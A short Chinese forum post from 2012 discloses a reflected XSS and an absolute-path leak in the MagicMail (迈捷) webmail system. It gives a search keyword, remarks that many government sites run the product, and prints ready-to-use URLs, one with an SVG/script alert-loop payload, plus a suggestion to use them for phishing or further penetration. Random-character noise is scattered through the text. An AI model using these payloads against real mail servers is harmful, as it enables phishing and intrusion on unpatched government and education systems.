今天上午在黑盒测试本地的教育网的时候发现的一个邮件系统漏洞
4 t6 ^6 u( U- l1 r+ J% a
$ p$ r2 C. o' N- ~
, h# T M/ b' k5 |& X包含 一个反射性XSS 以及 绝对路径泄漏
. p( D& ^7 K# j# h/ ~$ R0 [看了看 貌似全部是linux的。/ H' j6 ~( [# d) O# y
. Q b! d3 J' J" \) }) i; C, A
关键字：迈捷邮件系统 by MagicMail4 z" _* L2 Z$ h# x
# h5 s9 p; D3 I$ l# w6 `
可以看到很多政府网站都用这个邮件系统
/ X- K' _5 K7 i; D7 U/ N! {; K+ L$ l
绝对路径 http://madman.in/index.php?login_type=declare&language=
% q- R, d2 _6 D" V0 y: ^& J: i- c H6 H: V
3 k& i2 y/ C' v7 Z8 j
, w: C- d; ]3 {0 X5 v
XSS：http://madman.in/index.php?login_type=declare&language=–%3E%27%22%3E%3Csvg%3E%3Cscript/xlink:href=data:,while%28true%29{alert%281%29}%3E%3C/script%3E' N! |$ l' b, `/ C9 r- R
* `1 D2 _ D* z3 C( \& d" U& ?) N, O3 Q b7 b1 p
0 C9 W3 i$ p) i, ]) R# J8 ?$ I
虽然危害不是很大，不过利用起来还是可以的 比如 钓鱼 比如进一步的渗透 等等
( A1 H" a0 h* c! ?7 ~9 P* R 8 T$ c# ~% a( ~( E% e7 ~
修复方案：看官方补丁吧。0 c) A$ @- a/ v* D" F+ J# U* w; c
|
发表于 2012-11-9 20:38:41
收藏
支持
反对